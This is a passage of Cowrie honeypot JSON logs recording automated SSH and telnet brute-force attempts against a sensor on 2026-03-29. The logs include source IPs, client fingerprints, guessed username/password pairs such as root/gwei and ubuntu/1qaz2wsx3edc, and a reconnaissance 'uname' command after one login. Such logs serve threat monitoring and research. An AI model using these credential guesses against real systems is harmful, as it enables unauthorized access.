sh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:40:37.167725Z","src_ip":"2.57.122.208","session":"e8e189d3b5d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:40:37.793115Z","src_ip":"2.57.122.208","session":"e8e189d3b5d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:40:38.912460Z","src_ip":"2.57.122.208","session":"e8e189d3b5d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":34092,"dst_ip":"10.17.0.5","dst_port":22,"session":"3951b417de71","protocol":"ssh","message":"New connection: 92.118.39.92:34092 (10.17.0.5:22) [session: 3951b417de71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:41:18.741678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:41:18.745941Z","src_ip":"92.118.39.92","session":"3951b417de71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:41:18.852552Z","src_ip":"92.118.39.92","session":"3951b417de71","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"gwei","message":"login attempt [root/gwei] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:41:19.172278Z","src_ip":"92.118.39.92","session":"3951b417de71","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:41:19.433377Z","src_ip":"92.118.39.92","session":"3951b417de71","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:41:19.436577Z","src_ip":"92.118.39.92","session":"3951b417de71","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:41:19.697771Z","src_ip":"92.118.39.92","session":"3951b417de71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:41:19.702311Z","src_ip":"92.118.39.92","session":"3951b417de71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":57346,"dst_ip":"10.17.0.5","dst_port":22,"session":"78a4e9036c3b","protocol":"ssh","message":"New connection: 2.57.122.210:57346 (10.17.0.5:22) [session: 78a4e9036c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:41:52.765914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:41:52.771359Z","src_ip":"2.57.122.210","session":"78a4e9036c3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:41:52.877073Z","src_ip":"2.57.122.210","session":"78a4e9036c3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx3edc","message":"login attempt [ubuntu/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:41:53.193142Z","src_ip":"2.57.122.210","session":"78a4e9036c3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:41:54.306805Z","src_ip":"2.57.122.210","session":"78a4e9036c3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54480,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2e3bd6588c0","protocol":"ssh","message":"New connection: 2.57.122.208:54480 (159.203.135.109:22) [session: d2e3bd6588c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:43:00.816401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:43:00.986355Z","src_ip":"2.57.122.208","session":"d2e3bd6588c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:43:00.990701Z","src_ip":"2.57.122.208","session":"d2e3bd6588c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:43:02.111677Z","src_ip":"2.57.122.208","session":"d2e3bd6588c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:43:03.312250Z","src_ip":"2.57.122.208","session":"d2e3bd6588c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.105.247.254","src_port":38122,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7b477aa1055","protocol":"telnet","message":"New connection: 184.105.247.254:38122 (159.203.135.109:23) [session: a7b477aa1055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:43:22.246161Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:43:22.251262Z","src_ip":"184.105.247.254","session":"a7b477aa1055","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 OPR/108.0.0.0","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 OPR/108.0.0.0/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:43:22.255282Z","src_ip":"184.105.247.254","session":"a7b477aa1055","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:43:22.258881Z","src_ip":"184.105.247.254","session":"a7b477aa1055","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.37074995040893555,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:43:22.616820Z","src_ip":"184.105.247.254","session":"a7b477aa1055","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":50726,"dst_ip":"10.17.0.5","dst_port":22,"session":"81eff9fc6f90","protocol":"ssh","message":"New connection: 92.118.39.92:50726 (10.17.0.5:22) [session: 81eff9fc6f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:43:25.606828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:43:25.611430Z","src_ip":"92.118.39.92","session":"81eff9fc6f90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:43:25.712593Z","src_ip":"92.118.39.92","session":"81eff9fc6f90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gwei","password":"gwei","message":"login attempt [gwei/gwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:43:26.017032Z","src_ip":"92.118.39.92","session":"81eff9fc6f90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:43:27.118768Z","src_ip":"92.118.39.92","session":"81eff9fc6f90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":60112,"dst_ip":"10.17.0.5","dst_port":22,"session":"21f9665ee455","protocol":"ssh","message":"New connection: 2.57.122.210:60112 (10.17.0.5:22) [session: 21f9665ee455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:44:03.228453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:44:03.232985Z","src_ip":"2.57.122.210","session":"21f9665ee455","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:44:03.331400Z","src_ip":"2.57.122.210","session":"21f9665ee455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#$qazwsxedc","message":"login attempt [ubuntu/!@#$qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:44:03.620742Z","src_ip":"2.57.122.210","session":"21f9665ee455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:44:04.722779Z","src_ip":"2.57.122.210","session":"21f9665ee455","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39128,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7a09a3ad15a","protocol":"ssh","message":"New connection: 2.57.122.208:39128 (159.203.135.109:22) [session: d7a09a3ad15a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:45:24.498851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:45:24.511032Z","src_ip":"2.57.122.208","session":"d7a09a3ad15a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:45:24.645003Z","src_ip":"2.57.122.208","session":"d7a09a3ad15a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:45:25.301581Z","src_ip":"2.57.122.208","session":"d7a09a3ad15a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:45:26.531331Z","src_ip":"2.57.122.208","session":"d7a09a3ad15a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":39152,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9129755f3f0","protocol":"ssh","message":"New connection: 92.118.39.92:39152 (10.17.0.5:22) [session: d9129755f3f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:45:35.946913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:45:35.970353Z","src_ip":"92.118.39.92","session":"d9129755f3f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:45:36.067881Z","src_ip":"92.118.39.92","session":"d9129755f3f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web3","password":"web3","message":"login attempt [web3/web3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:45:36.462047Z","src_ip":"92.118.39.92","session":"d9129755f3f0","protocol":"ssh"}
